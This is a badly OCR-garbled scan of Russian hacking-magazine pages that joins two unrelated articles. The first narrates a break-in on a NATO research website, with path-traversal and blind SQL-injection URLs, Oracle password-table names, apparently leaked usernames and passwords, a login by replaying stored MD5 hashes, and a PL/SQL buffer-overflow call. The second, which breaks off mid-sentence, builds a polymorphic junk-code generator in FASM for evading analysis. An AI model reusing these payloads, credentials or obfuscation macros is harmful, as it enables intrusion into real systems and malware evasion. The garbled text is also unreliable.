TEXHUKY Ha3EMHOr0, BO3/YLWHOIO U Mopckoro 6azuposanus). 0bbean-
HeHMe [OKHO NPOUCXOANTL UHDOPMALMOHHO — C GOpPMUpPOBaHUEM
CJI0KHOW CETEBOI apXUTEKTYPbI, C MOLKIIIOYEHMNEM K CETU MHTEPHET.
AMepyiKaHLbl 0XMaaloT, 4To boeBas apdeKTMBHOCTL POPMMPOBAHUS C
CEeTeBOI apXUTEKTYPOii MO CPABHEHWIO C CYLLECTBYIOLLMMY BO3paCTET
MHOroKpaTHo. MIHbIMY cnoBaMu, 0BMeH AaHHbIMW MeX Ay noTpebu-
TensMu ByaeT ocyLLecTBAATLCS B peasibHoM MacluTabe BpeMeHU He
TOJIbKO M0 BEPTUKANM», HO U «M0 TOpPMU30HTanu». TaknM obpasom, Bce
YYaCTHMKMN CMOTYT MOJy4YUTb BCECTOPOHHIO MHGOPMALIMIO O COCTOSAHIN
Ha nosne bos. KoHuenuwus BefeHns 60eBbIX 4eNCTBUIA B eIMHOM MHPOpP-
MaLMOHHOM NPOCTPaHCTBe NpefnonaraeT co3faHne cUcTeMbl nepefayn
LaHHbIX, 0becrneyvBatoLLei NokpbITUe HeobXoAVMOV TeppUTOpHM
TeaTpa BOEHHbIX 1e/iCTBIMI B 1t0boe Bpems.

» 052

ONLINE SAMPLE OF A POPERTY
DECODING AND ENCODING TEXTS AND FILES.

Convert the source data |

OHnaliH-TpaHcdopMep GMHapPHbIX fAaHHbIX B BASE64
nmobpaTHo

topic, To Beb-cepBep yiaeT B DeCKOHEUHbIN LMK, LEMOHCTPUPYSA HaM
3a3epkalibe — beckoHeuHble BNoxeHVs Main.asp B camoro cebs, a ecnu
Mbl YKaXeM TOSIbKO YTO HaifeHHbIN «pfp.ppt», To nonyunm ero brHapHoe
cofiepxunmoe.

Ele ofHa Menoyb... B HaLlly CBUHCKYIO Konunky. Tebe, Hal LOpoOron Ynta-
Teslb, Mbl OCTaB/sieM BO3MOXHOCTb NornpoboBaTe KoMOUHALMY cefytoLe-
ro Bupa:

http://www.rto.nato.int/Main.asp?topic=../../../../..
YA R A A

ORACLE BCEMOTYLLUWA, ORACLE HEMOBEUMbIA

Y3ke o4eHb JONTo CyLLecTByeT MG 0 TOM, 4TO BEO-NPUNOXeHNs, No-
cTpoeHHble ¢ bek-aHaoM B Buge CYB Oracle, Heya3BuMbI K Takum
aTakaM kak SQL-nHbekymm n XSS. Mrud o HEBO3MOXHOCTU MHBEKLNW B
Oracle noaswuncs n3-3a GyHKUMM Ba3bl faHHbIX MCMOb30BaTh METKY-

./../../etc/passwd

3anoHUTeNb — MNP NOATOTOBKE 3anpoca onepaTop ykasblBaeT MecTa
(MMeHys vnn Hymepys ux), rae ByayT BNOCAEACTBUM Pa3MeLLeHbl BXOHbIE
naHHble SQL-3anpoca. Ho Ha To oH 1 Mud, 4TobbI ero kTo-HMbyAb pa3-
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Mbl BHYTpU U MOXXeM NocMoTpeTb Ha BoeHHylo TaiHy!

pywun (MpasunbHOe NOHMMaHUe NPUUKH NOSIBNEHUE YI3BUMOCTY — BOT
3a710r BO3MOXHOCTY paspylueruns ctepeotunos). Mpobaemsl ¢ Bos-
MOXHOCTbIO BO3HMKHOBEHUA SQL-MHbEKLMM Ha caMOoM Jefle 3a0XeHbl
He cTonbko B ba3e faHHbIX, CKOJIbKO B MporpaMme-obonouke, koTopas
peasnnsyeT B3aKMofeiCcTBIMe C nosib3oBaTesieM. [1ns npoBepKku A0CTAaTOUHO
Beflb MCM0/Ib30BaTb HECKOJIbKO MPOCTbIX NpueMoB. Hanpumep, fobaBnaTs
K napameTpam cTpoky Buaa «+or+chr(77)=chr(77)». VicnonbsosaHue pyHk-
unu chrl() nossonget nsbexartb ykasaHUsa ofMHAPHbIX KaBblUek, KOTOpble
HelwanHo GuALTpyoTCS.

VIMeHHO 370 ABASIETCS NPUYNHOI BO3HUKHOBEHMS BO3MOXHOCTW NpoBeje-
HUS «cnenoi» nHbekuun Ha caite RTO. BoT, HanpuMep, 3anpoc ¢ Takoit
NHbeKLUNEN:

MeTOHO <«HAay4YHOI'O THKa>»:

http://www.rto.nato.int/Detail.asp?ID=-
l+or+chr (77)=chr (77)

paboTaem c CVBI Oracle:

http://www.rto.nato.int/Detail.asp?ID=-
1+or+1=(SELECT+1+FROM+DUAL)

CobCTBEHHO, C MOMOLLbIO 3TOW YA3BMMOCTM Mbl M Y3HaNW, YTO C3a4u
(backend) yctanosnena CYB[, Oracle, a He MySQL unu SQLite (kcTatn,

B Hell Toxe BO3MOXHO nposecTn SQL-1HbekuUmo — Mbl nrucanu 0b aTom
B MalickoM Homepe). Buanmo, HATOBCKME NporpaMMUCTbI CIMLLIKOM M10-
noxunnce Ha besonacHocTb Oracle v 3abbinn aneMeHTapHble NpaBuna
BesonacHoro cekca. A 3pa! OfHa ToNbKO KHUXKa NPO 0pPakI0BCKMIA ayanT
oT Mnbn MefBeJOBCKOrO 1 €ro COTPYAHMKOB YEro TONbKO CTOMT.

Cnenas vHbekuMs, KOHeYHo, noTpeboBana oT Hac HEKOTOPbLIX YCUNIA
no aBTOMaTM3auwmu npouecca. bnaro, 6abylwknHa noglumnBKa XypHana
«Xakep» 3a NPOLWAbINA rof, NoMoraa — B Hell 0ka3anocb BCE, YTO HY>HO
ons co3faHns ckpuntos Ha Perl. Ml gaxe cMoram bbicTpo cocTaBuTb
[\Ba 3anpoca — OAMH onpefenseT ANNHY CTPOKM, KOTOPYIO Mbl XOTUM
«BbITALLNTH» U3 6a3bl laHHbIX, @ BTOPOI BbITaCKMBAET OAUH CUMBON U3
3TOW CTPOKM:

a) 3anpoc ans noayyYeHms 4JIMHbI CTPOKMK:

http://www.rto.nato.int/Detail.
asp?ID=-1+0OR+ (select+length (table_

name) +from+user_tables+where+'$3[0ECE VCIIOBUE
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Home The HATO Research and Technology Organisation (RTO) Lo
General Documentation promotes and conducts co-operative scientific research o
RTO Activities and exchange of technical information amongst 28 NATO ;
RT0 Futurs Events nations and 38 MATO partners. The largest such ORGANIEATION
collaborative body in the world, the RTO encompasses
Search Scientific Publications over 3000 scientists and engineers addressing the complete scope of defence
Hational Distribution Centres. technalogies and operational domains. This effort & supparted by an executive
RET Coordination agency, the Research and de:\dtmlmgm (RTa), that fil:;IHm n;:ﬂrabmﬂo‘:
by organising a wide range of studies, workshops, symposia, and other forums
Researeh Technwion homd which researchers can meet and exchange knowledge.
Haticnal Coardinators 2 " 1
Resowcht o s MY T Y
Coordination Group Address by NATO Secretary General Anders Fogh Rasmussen MATO
Technical Panels at the Belglan Royal High Institute for Defence Aed
Applied Vehicle Technology naro:
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Information Systems Technology b B L adies and Gentlemen, Authed
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Systems Concepts & Integration It i a great pleasure for me to speak at the Royal High Institute for Defence. This  Links
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ek e endure today. But at the same time, the nature of warfare and conflict has evolved
by, and the pace of that evolution continues to accelerate. s
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HATO SMART careers on foreign deployments. Some of them will deploy on operations and
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Jnformation Manspenent the United Nations, or the Eurapean Unkon, or NATO, AVT-1S
Information Management 43 {ts Secretary General, | am respansible for making sure that NATO is properly e
Committee structured, properly equipped, completely intercperable, and fully effective. o0 Bt
Techni:
Partners [
ik e Vehicle

FnaBHaga cTpaHuua cainta HATO c FnaBHou BoeHHoM
TaliHol BHYTpHU

3ANIPOCA% ' +AND+rownum=1) =%3IECb [OJIMHA, KOTOPYK IIPOBE-
PSAEMS

6) 3anpoc ans nonyueHus cTpoku (3necb KOHKPETHO — UMeHu cTonbua B
yKa3zaHHoM Tabnuue):

http://www.rto.nato.int/Detail.asp?ID=-

1+0OR+ (select+substr (column_name, $30ECH IO3ULIUA CUMBOIIA
B MMEHNM CTOJIBIA%,1)+fromtall_tab_columns+wherettable_
name="'.%30ECH VMsI TABJIUIBS. ' +AND+'$30ECH VCJIOBUE 3AIIPO
CA% ' +AND+rownum=1) =chr (¥HOMEP CVMBOJIA%)

[ns Toro, 4ToBbl NONYYUTL TONBKO NEPBYIO CTPOKY C AaHHBIMK U3 BCETO
3anpoca, Mbl BOCMOb30BaINCh KIIOYEBbIM CJIOBOM rownum AvanekTa
SQL-6a3bl gaHHbIx Oracle, ¢ MOMOLLbIO KOTOPOro MOXHO ONpeaensTb
yCnoBue Hap yxe cobpaHHbiM HABOPOM CTPOK C BbIXOAHLIMU AaHHbIMU.
Mcnonb3oBaHme BCEBO3MOXHbBIX TEXHOOMMUIA YCKOPEHWS «CNernoro» nepe-
Bopa ocTaensem Ansg TpeHuposky ). EcTb, npasaa, 0anH odeHb 6ombwoi
MUHYC — 370 KonnuecTso Tabauy, (B ToM yncne cnyxebHsix) 8 6asax
Oracle. Benenyto BbiTackmBaTh BClO CXeMy Tabnuy, — TUTAHWYECKUI TpyL,
NO3TOMY Mbl HTEPECOBANVCh TONLKO Tabnnuamu, B Ha3BaHMU KOTOPbIX
ecTb Maruyeckoe cnoso «PASSWORD». Ha pucyHke npvisefieHa cxema ¢
Hanbonee nHTepecHsIMM Tabanuamu u ctonbuamu. Ha gucke K xxypHany Tol
HalAelWb CKPUMTLI, KOTOPBIMI MOXHO MOMOSIHATL 3Ty CXeMy :).

Cpeav foBonbHO bonblioro Habopa Tabnuu, Hanbonee MHTEPECHbLIMM
KaxyTcs BOT 3TU:

RTO_MEMBERS . MEMBER_ PASSWORD
RTO_PANEL . PANEL_PASSWORD
USER_DB_LINKS.PASSWORD
CONTACTLOGIN.CLO_PASSWORD
APPLICATIONLOGIN.PASSWORD
CONTACT . CLO_PASSWORD

3HaueHUs AaHHbIX, KOTOPbIE B HUX XPAHATCH, BNEYATASIOT He MEHbLLE, YEM
onepaumns «AHakoHAa» KOanuLMOHHbIX BOMCK B ApraHuctaHe.

USERNAME: RTAMASTER
PASSWORD: droopy
DB_LINK: TEST.RTA.INT
USERNAME: WISE
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3a3sepKanbe — 6ecKoHe4Hoe BoXKeHue Main.asp B ce6s camoro

PASSWORD: BUGSBUNNY

DB_LINK:

BnpoueM, xpaHWUTb Naponn B OTKPLITOM BYAe CBONCTBEHHO MHOMVM

Bonbluvm ymam. Kpome Toro, Hac bonblie MHTePecyloT Naponu, KoTopble
MOXHO MCMOb30BaTh ANS BXOAa B 3aKpbITylo YacTb caiTa. Vcnonbayem
[ipeBHerpeyYeckoe 3HaHve o ABOVYHOM MOUCKe W 3amyCTUM Hall CKpUMT

cnenoro nepebopa:

WISE_LINK

DB Scanning table rto_panel
.......... [DBG: FOUND NUMBER 29.]
DB NUMBER OF ROWS FOUND: 29

Getting row 1

DB getting panel_webname

....... [DBG: FOUND SYMBOL
DB RTA-CSA

'A' - 65]

BaxHbiMK cTonbuaMu U3 AMcTuHra Ana Hac asnsoTcs “panel_webname”

n "panel_password”, nocnefHuit xparut MD5 xeww naponeit. [onyyaem

BCe XellW U CTaBUM UX Ha aHT14aToBCkuil 6pyT. Kak npaBuno, Ha 3ToM 3a-
KaH4YMBaloTCA BCe CTaHAPTHbIE B3/IOMbI, HO Mbl NOEeM Aanblue.

MPOBEPKA HA JIOPOTAX

[locTyn Kk 3aKkpbITbiM 30HaM Beb-calnTa MOXHO NONyYKTb, €CV aBTOpHU-

30BaTbCA nof naposneM nboro yyacTHuka unu cotpyaHuka RTO. Ina
ayTeHTUdUKaumMm Bbina ncnonszosaHa TexHonormusa "SINGLE SIGN-ON™,

KOTOpasi MO3BOSIAET MCMONb30BaTh NK0bble Apyrie Naposin 0T aHaNOrUYHbBIX
XpaHWAULL, MHGopMaLmm:

....... [DBG: FOUND NUMBER 1.]
......... [DBG: FOUND SYMBOL ' ' - 32]
DB

DB getting panel_password

....... [DBG: FOUND NUMBER 16.]

........ [DBG: FOUND SYMBOL 'x' - 245]
........ [DBG: FOUND SYMBOL 'i' - 191]
......... [DBG: FOUND SYMBOL 'S' - 36]
......... [DBG: FOUND SYMBOL 'E' - 168]

DB xill) z54<X!I*AtusE

DB 245119112011411122124160[198[3311961421192|116]164
3611681

DB getting panel_number

....... [DBG: FOUND NUMBER 7.]
......... [DBG: FOUND SYMBOL 'R' - 82]
........ [DBG: FOUND SYMBOL 'A' - 65]
DB RTA-CSA

DB getting panel_alias
....... [DBG: FOUND NUMBER 7.]

Please authenticate to access website protected areas
and the RTO collaborative environment. Use your RTO
collaborative environment credentials or the RTO

generic credentials to log on.

[MoHATHe «efnHoro Bxofa», o KoTopoM Tangsidat HATOBckme nporpam-
Mepbl, M3HavaNbHO NPeANoNaraeT, YTo B pasHbIX MecTax noab3osaTesb
MOXET MCMOb30BATh OfIMH BbIAAHHbIN eMy N0rvMH/Naponb. 3aeck Xe 370
NOHATWE CBOAUTCS K TOMY, 4TO B OHOM MecTe (Ha calTe] MoXHO uc-
nosb30BaThb Naposin OT HECKOJTbKMX APYrvX MecT. Takvm obpa3om, obLias
Be30nacHOCTb HaxOAMTCS Ha ypoBHe camoro cnaboro caita, naponu ot
KoToporo MoryT 6biTb BBefeHbl B RTO.NATO.INT.

Pa3 yx naponu Mcnonb3ayoT YyTe M He U3 MycOpHOro baka, He CToUT Jn
HaM MoBHMMaTeNlbHEEe MOCMOTPETh, Kak OHW NepefatoTcs Ha cepsep? TyT
HayMHaeTcs camoe MHTepecHoe. Oka3sblBaeTcs, NONA NOb30BaTENbCKOIO
BBO/a JIOTMHA ¥ Naposs nepep, oTrpaskoii 0bpabaTbiBaloTcs ¢ MoMoLL b0
JavaScript-dyHkumun. Inga Toro, 4Tobbl 370 YyA0 MHXKEHEPHON MbICIN
cny4unock, k ocHoBHoMy HTML nogkntouen ¢arn mdb.js, koTopeli npes-
cTaBnseT cobolt HMYTO MHOe Kak peanu3aunio anroputma MD5 komnaHuei
RSA Data Security (oHu, KCTaTH, ABNAIOTCA OCHOBHBIMU 3aLLUTHUKAMM
nHbopmaumn ana HATOBckux pecypcos). B koHue 3Toro daiina ects 3a-
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“) Log In Failed - Mozilla Firefox

Fle Edit View History Bookmarks Tools Help

e =
P C KAy || bt frensto.nato g Main aspROC= fosfoofofonfecfenfoo kool feke PSS

J__gm.ﬂm:m-munwsm;. x | __| Log In Failed DG [ - |
Database Log In Failed

TNS is unable to connect to destination. Invalid TNS address supplied or destination is not listening. This error can also occur because of underlying network transport problems.

Verify that the TNS name in the connectstring entry of the DAD for this URL is valid and the database listener is running.

¥Ync! MuHyc oguH MasHbIi canT

MedaTesbHasa ¢yHkuma pw2md5(in_pw, out_mdb), KoTopas 1 Bbi3biBaeTCA
npw oTNpaBke I0rMHa 1 napons obpaTHo Ha canT:

<form action="checkident.asp" method="post"

name="frmlogon" onSubmit="return sendData();">

function sendData ()
{
var FORM = document.frmlogon;

pw2md5 (FORM . MemberMatkhau, FORM.MemberMatkhau) ;

return true;

Tenepb NocMoTpuM Ha camy dyHkumio pw2md5(). OHa npuHKMaeT Ha Bxof,
naposnb B YucToM Buae, Boluncaser MD5 oT Hero, koHBEpTUPYeT nosny-
YyeHHoe buHapHoe 16-6aitToBoe 3HayeHne B BASEb4-npeacTaBneHme 1
3anuceiBaeT B BLIXOAHOM napameTp.

md5.Jjs:

/‘k

* A JavaScript implementation of the RSA Data
Security, Inc. MD5 Message

* Digest Algorithm, as defined in RFC 1321.

* Version 2.1 Copyright (C) Paul Johnston 1999 -
2002.

* Other contributors: Greg Holt, Andrew Kepert,
Ydnar, Lostinet

* Distributed under the BSD License

* See http://pajhome.org.uk/crypt/md5 for more info.

*/

/‘k

* Util method added by minhnn

*/

function pw2md5 (password, md5Spassword) {
md5password.value = b64_md5 (password.value) + "==";

// password.value = "";

Takol N3yMWUTENbHbIN KapTOYHbIM packnag o3HavaeT, 4yto Ham HE HY>KHO
B3nambiBaTh xelun MD5! BmecTo 3T0ro Mbl MoXeM MpocTo NMoACTaBUTb
3HayeHue 13 basbl AaHHbIX NpsaMo B popmy oTnpasku! [Ins atoro Boc-
nosb3yemcs oHnanH-TpaHchopmepom BASESL, npeaBapuTensHo caenas
BuHapHbI dann ¢ bantammn MDS xela ofHoro U3 nonb3osaTtenei.
Mcnonb3ys motobit.com, nonyyaem cnenyouine gaHHble:

USERNAME: IST

PASSWORD: AD2F38AEE7B3162D832624DA76983CD2
BASE64: rS84ruezFi2DJiTadpg80g==
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[anblue HaMm o4eHb npuroaunTcs Beb-bpaysep Mozilla Firefox 1 ero kom-
noneHT TamperData, 4Tobbl noacTaBuTh Hanety B POST-3anpoc BMecTo
06b14HbIX MD5 cBOM flaHHbIe, YeCTHO NMOACMOTpeHHbIe B base. 3T0 L0BONb-
HO TPMBWAJIbHbIN NMPOLLECC, MOCMOTPETL Ha MPUMEPbl MOXKHO B [OKYMEH-
Tauuu k komnoHenty TamperData... [TogcTaBnsem, npoepsieM, AaBuM
KHoMKy «[locnaTb»... U, Kak FOBOPUTCS B aHeKAO0Te, «feTeil He Nobnto, Ho
cam npouecc!». UTak, Mbl BHyTpu!

CONJIAT, BbIATH U3 CTPOS!

Bce bbl HM4Yero, ecnm Bbl HAac He Xrna MbICb 0 TOM, 4To ciienon SQL —
3TO He YTOo MHOe, Kak KoHCcosb K base naHHbIx. Benb ¢ CYB[ Oracle MoxHo
TBOPUTL Takoe, 4to Hukakomy SQLite u MySQL v He cHunock (3aecs Mol
yneibaemcs n Malwem Anekcangpy lNonakosy, aBTopy kHurn «besonac-
HocTb Oracle rnasamu ayanTopa», a Takxke iDefense Labs, — He 3Hato,
KTO Bbl NepBbIlt B 0BHapyxeHUK 3Tol yazeuMocTn). Hal yBaxaembiii
Kosnera onmnchiBaeT, Kak MOXHO MCMoNb30BaTh AoCTyn K npoueaype XDB.
XDB_PITRIG_PKG.PITRIG_DROPMETADATA, nocTynHoi ans BbinoaHe-
HUst ntobomy nonb3osaTento basbl AaHHbIX. Vicnonb3ys 3Ty ys3BUMOCTb B
10g MoXHO BbI3BaTb NepenonHeHue bydepa, u cnyxba Oracle aBapuitHo
3aBepwuT cBoto paboTy. Tak yTo, Kak TONBLKO HaM HafoecT banoBaTbes C
[LOCTYMOM K 3aKpbITbIM CEKLMSAM CaliTa, Mbl leflaemM crefyloLiee:

declare
a varchar2 (32767) ;
b varchar2 (32767) ;

begin
a:="'XXX XX X '
="' YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY';
a:=alla; a:=alla; a:=alla; a:=alla; a:=alla;
a:=al la;
b:=b| |b; b:=bl|b; b:=bl||b; b:=bl||b; b:=bl |b;
b:=bl |b;

XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA (a, b);
end;

[Mocne Toro, kKak Mbl 3anuiem 3TOT BbI30OB B OLHY OJTMHHYIO CTPOKY 3anpoca
1 BCTABMM Ha MeCTO Hallel cienow MHbeKUWW, Mbl CMOXEM yBUAETb BOT

TaKylo KapTVHKY.

KOHEL| CBETA

Pa3roBopbl npo ceTeLeHTpUYeckne BOMHbI U BefeHWe MHPOPMaLMOHHON
BOMHbBI — 3T0, KOHEYHO, xopolwo. OfHaKo onbIT MOKa3bIBaET, H4TO NMPOCTHIX
pas3roBOpPOB Masno — YX eC/in Mbl aHanusvpyem caiTsl Hawwmx HATOBcKkuMx
«COI3HWMKOB», TO V1 OHW, HAaBEPHOE, OT Hac He oTcTaloT. Ha 3Tom doHe
0YeHb OropyYaeT HalMune aHanornyHelx Npobiem ¢ 6e3onacHoCTbIo Ha Ha-
LIMX OTeYeCTBEHHbIX FOCYlapCTBEHHbIX caiiTax. BoT, Hanpumep, Ha caiite
MepepansHoi cyxbbl TEXHUUECKOTO 1 3KCMOPTHOTO KOHTpOns (KoTopast co
crepylowero roga byaeT 3aWmLLaTh Hallu NepcoHanbHbe AaHHble), npy-
CYTCTBYIOT BCe Te e «Mesikne» npobnemsi.

[la yero yx, ecnun NopHO-POANKM Ha [OPOXHbIX bunnbopaax Cagosoro
KonbLa Xxakepbl KpyTaT :). Ho, Bce-Taku, xoTs bbl 3aKoHoAaTenn B obnactu
MHGOPMaLIMOHHOK Be30MacHOCTY [ONXKHbI OTHOCUTBCS K CBOUM pecypcam
oTBETCTBEeHHO. VHaye Ha Koro xe Mbl byfeM paBHATbCA? 3T
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MYTALIUA KOQA BO BPEMSA
KOMIUAALKNA

i &)

WTaK, MHe KaxeTcs, 8 406UCS OTANYHBIX Pe3YNbTaToB, Be/lb Y MeHS ¢
61eCKOM MOJY4MII0Ch Peann30BaTh: NOAMMOPGH3M (reHepaLmns Mycop-
HOro koaal, MeTaMopduHT (3aMeHa MHCTPYKLWIA aHanoramu), nepmyTaumio
(cnyuaitHoe nepemeturiBaHue B0KOB Kofa € coxpaHeHueM GyHKUMoHana u
norvku pabotsi), 06¢yckaumio (MeTog 3anyTeiBaHNs NOMVKK KOAa, NPOTHBO-

NIeNCTBYE aHaNM3Y), KOHTPOsb LENOCTHOCTY KOAA (4151 3aWKThl OT M3MeHe-
Huq, patch'eit), WndposaHme Kopa 1 AaHHbIX. PaHAOMU3aLMA KOLAA CYXNT
L5 3alMThl OT aBTOMATUYeCKMX PacnakoBLMKOB, aHaIM3aTopoB., naTyen,
0bdyckaums — ond 3anyTbiBaHUS UCCeLoBaTeNs; NPy 0CTaTouHO 06dy-
cKaLMKM aHanu3 nporpaMMbl MOXET 3aTAHYTbCS Ha JoarMe Mecslbl... XBaTuT
BonToBHYW, NpucTynuM!

OXBAT1EE PRNG

lNepBoHaYanbHO CriedyeT HanucaTb reHepaTop NCeBAoCyYaiHbIX Yucen —
cepaue noboro ABMXKa paHAoMM3auuy koga. [eHepaTop s 831 NPOCTOiA,
Hanogobue ANSI C, ona Mowx Leneit ero BnofiHe xBataso.

rndseed = 100500
macro randomize {

randseed = randseed * 1103515245 + 12345
(randseed / 65536) mod 0x100000000
rndnum = randseed and OXFFFFFFFF

randseed =
}

PaboTtaeT oH ncnpaBHo, HO, Tak Kak MHULMaNMU3MPYIOLLEE 3HAYEHNME NO-
CTOSIHHO, KaX bl pas, Npu Kaxaon KoMnuaaumMmn byaeT BbliaHa ofiHa v
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1 KACCS!

OgHawabl, nocne HanucaHus
nporpamMbl, KOTOpYI0 A1 XoTen
caenatb NaTHOH, A 3agyMancs

0 Bonpoce ee 3awwutebl. llucatb
HaBECHOW NPOTEKTOP eNaHus

He 0biN10, 1a U BPEMEHH TOXKE.
Bo3moxHo nu caenatb

4YTO-TO CpEeACTBaMM KOMNUAATOPA
FASM, Beab Yy Hero MoLLHerLHHA
MaKpOoA3bIK?

B aTou cratbe A pewnn onucarb,
YTO BbILLIO U3 MOMUX
3KCNePUMEHTOB. 34eCb Ha NPOCTbIX
npuMepax OyayT onucaHbl MeTofbl
noAUMop(dU3Ma, NepMyTaLIUH,

MeTaMoptinHra u 06pycKaumu
6uHapHoro Koaa.

Ta >e N0C/ef0BaTeNbHOCTb Yncen. [ocne HeJoNrX pasfyMmUin N YTEHNS
oduLmanbHoro popyma, s Hallen 3HayeHne, KOTOPbIM MOXHO 3aBECTH re-
HepaTtop — 370 timestamp, UNIX-Bpems. [Tony4nTb €ro MOXHO BOT TakunM
obpasoM: randseed = %t.[eHepupoBaTb CyyaliHoOe YMCNO, K MPUMEPY,
B fnana3sonre 0 - 0xDEAD, Tenepb MOXHO Tak:

randomize

random_number = rndnum mod OxDEAD - 1

0XBADCODE MU TEHEPALIUA MYCOPA

[Ins Havana, nonpobyem HanvcaTe Makpoc A% reHepaLymn NpocToi
nHcTpykumnm — int. CoctonT int 13 aByx 6anT — onkoga 0xCD v Homepa
npepbiBaHus, KoTopblii 1 bygeT cnydaeH. [onyyaeM HoMep NpepbiBaHWs:

randomize

int_val = rndnum mod OxXFF
[lanee nuiuem cneayioLyto He3aypsAHYy0 KOHCTPYKLMIO:

db 0xCD

db num

Moka Bce npocTo. OdopMUB 3TV 4 CTPOKM B OTLAENbHbIN Makpoc gen_int 1
BbI3BaB HECKOJIbKO pa3, ybexaaemcs ¢ MoMOLLbIo 0Taaf4umnKka uiu ausac-
cembnepa, 4To KOA AENCTBUTENBHO CyYalHbI: rept 7 { gen_int }.
/1 BOT 4TO Monyumnnocs:
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3aTauBLlumiica B 6MHaApHOM Mycope
QHTUOTNA[0YHbIN TPIOK

cd78 | int 0x78
cda6 | int Oxa6
cdbd | int 0xbd
cd36 | int 0x36
cdec | int Oxec
cdéa | int Ox6a
cd68 | int 0x68

MeTog rept fasm’a BbINOSIHAET KOA yKa3aHHOe KoinyecTBo pas. [1o-Moemy,
Hauano bonee yem xopoluee, Hac XAEeT MHOro WHTepecHoro. [laBal Tenepb
PacCMOTPVM reHepaLio MHCTPYKLMK lea; 30ech f Xo4y 0CBETUTL HECKOSBKO
acnekToB. CnepBa Hy>HO 3aBECTU KOHCTaHTbI, COOTBETCTBYIOLLIME perncTpam:

REAX =0 ; AL
RECX =1 ; CL
REDX =2 ; DL
REBX =3 ; BI
RESP =4 ; AH
REBP =5 ; CH
REST =6 ; DH
REDI =7 ; BH

YTobbl He HapylKTb paboTy Kofa, cnefyeT yYnTbiBaTb 3aHATbIE PETUCTPbI.
3aBeaeM nepemeHHble, xpaHaluye nx:

NOREG = =1

USEDREG1 = NOREG
USEDREG2 = NOREG
RREG = NOREG

MIx MOXeT BbITb CKONBKO YrofJHO — 3aBUCUT OT NOMVKK paboTkl Mporpammsl,
norvkn paboTsl reHepatopa v cTpoerus baoka kofa. Huxe npencrasneH
MaKpoC, reHepupyoLLMiA ClyYaiHblll perucTp, He yunTbiBas 3aHnaTble. Mc-
noNb30BaTh byjeM TONbKO Kak NCTOYHNIK.

macro rndreg {

RREG = NOREG
while (RREG = NOREG)

randomize

RREG = rndnum mod 8

(RREG = RESP) | (RREG = REBP)

end while

B npuHuymne, MoxHo BrIoUNTb B BapuaHTbl 1 Esp Ebp pervctpel, Ho MHe 3a-

X0Tesnoch Tak. Tenepb Makpoc, reHepupYyLLMIA ClyYaiHbIA He3aHATLIV perncTp:
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macro freereg {
RREG = NOREG
while (RREG = RESP) | (RREG = REBP) |
| (RREG = USEDREGL1)
randomize
RREG = rndnum mod 8

(RREG = -1)
(RREG = USEDREG2)

end while

Peructpel Esp v Ebp He Tporaem, fabbl He copBaTh cTeKoBbIN dpeiM. 3T0
nepBoe, YTO 9 XOTeN1 0CBETUTb. HTobbI Ko ObiN MOX0X Ha Npon3BeAeHHbIN
HOpPMasbHbIM KoMMUAsTopoM (1absl He NokasbiBaTs cpasy vccnefosaTento,
UTO ero BOAIAT 3@ HOC), CeayeT HEMHOIO OrpaHNyKBaTh daHTasmo. Npuse-
Oy NpUMep Ha MHCTPYKLWK lea, KOTopast, Kak M3BECTHO, CMONb3yeTcs A5
nosnyyeHus\ebiuncieHus agpeca. MprHumaiowmii pernctp Gyaet caydaii-
HbIM, @ Kak bbITb CO BTOpbIM OMnepaHAoM? Bo3bMeM 3HaueHWe B inana3oHe
Entry Point - (Entry Point + pasmep cekuuu Kogal, Hy uau, Ang npocroTsl,
Bo3bMeM 3HaueHwue 0x1000. Insa bonbliero cooTBeTCTBUSA C HOPManbHbIM
KofoM cnenyeT bpaTh agpeca 13 cekumn AaHHbIx. Makpoc, reHepupyioLLmit
MHCTpyKuMio lea Mo npaBwmiaM, onucaHHbiM paHee:

macro gen_lea {
freereg
reg = (RREG * 8) + 5
randomize
address = (rndnum mod ((ENTRY_POINT + 0x1000 + 1)
- ENTRY_POINT)) + ENTRY_POINT
db 0x8D
db reg
dd address

KoHctanty ENTRY_POINT obbsiBnsiem 3apaHee:

entry start

start:
ENTRY_POINT = $

Mnu, 4yto npegnoyTuTensHee: ENTRY_POINT = $$. /tor paboTel Makpo-
Ca, BbI3BaHHOTO HECKOJ/IbKO pas3:

8d3db10a4000 | lea edi, [0x400abl]
8d154c044000 | lea edx, [0x40044c]
8d1d68054000 | lea ebx, [0x400568]
8d05e7024000 | lea eax, [0x4002e7]
8d15db0e4000 | lea edx, [0x400edb]
8d15670£4000 | lea edx, [0x400£f67]

Kak Bnanwe, Kop cnydaeH, u He bpocaeTcda B rnasa HeobbluHO-
cTbio. Tenepb He Melwano bbl 06bEAVHUTL HaNMCaHHble MakpoChl
B OAWH W NOCTPOUTbL KOJ TakK, 4TobObl ero 6610 Nerko N3MeHsaTh
nnn pobaBNaTbL B HErO HOBble METOAbI reHepaLnm NHCTPYKLMIA, HO
LS Hayana HanuweM elle 0AWH Makpoc Ans reHepaunn FPU-
MHCTPYKLMI:

macro gen_fpu {
randomize
type = rndnum mod 0x2F
db 0xD8
db 0xCO0 + type

[Mposepum:
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Kop nepea MmopduHromM

d8dl | fcom st0, stl
d8c9 | fmul st0, stl
d8d4 | fcom st0, st4d
d8ed | fsubr st0, stb
dgd6 | fcom st0, st6
d8c2 | fadd st0, st2

OTnunyHo! Tenepb rpynnupyem, cozgaem Makpoc gen_trash, npuHumatoLmi
napaMeTpoM KONMYECTBO reHepupyeMblX MHCTPYKLMWIA. YNyULWUTb STOT Makpoc
MOXHO, C/leN1aB NapamMeTpoM He KOANYeCTBO MHCTPYKLMWIA, @ MaKCUManbHbli
pa3mep B baiiTax. Ele nydwmnm xopom bynet napameTp, ABASIOLMIACS Npe-
LES10M CydaiiHoMY KONMYecTBy MHCTPYKLMit/pasMepy B baiiTax. Peannsyem
NepBbIA, YPOLLEHHbIN, HO HEMHOTO YCTyNaK LA APYrUM BapUaHT:

macro gen_trash length {
repeat length
randomize
variant = randseed mod VARIANTS

if variant = 0
gen_lea

else if variant = 1
gen_fpu

end if

end repeat

Tenepb ans reHepauun 10 ciayyaiHbIx MHCTPYKLMIA yKa3biBaeM B KOAe:
gen_trash 10. CnefyeT paclumpuTh 3TOT Makpoc, YTo He COCTaBUT
Tpyna. Lobaensi kak MoxHO BofbLue MHCTPYKUMIA\BapMaHTOB: BeTBe-
HWSY; CTATUCTUKY MOBTOPEHMUS MHCTPYKUMIA; NOpsSAoK clefosanus (kyda
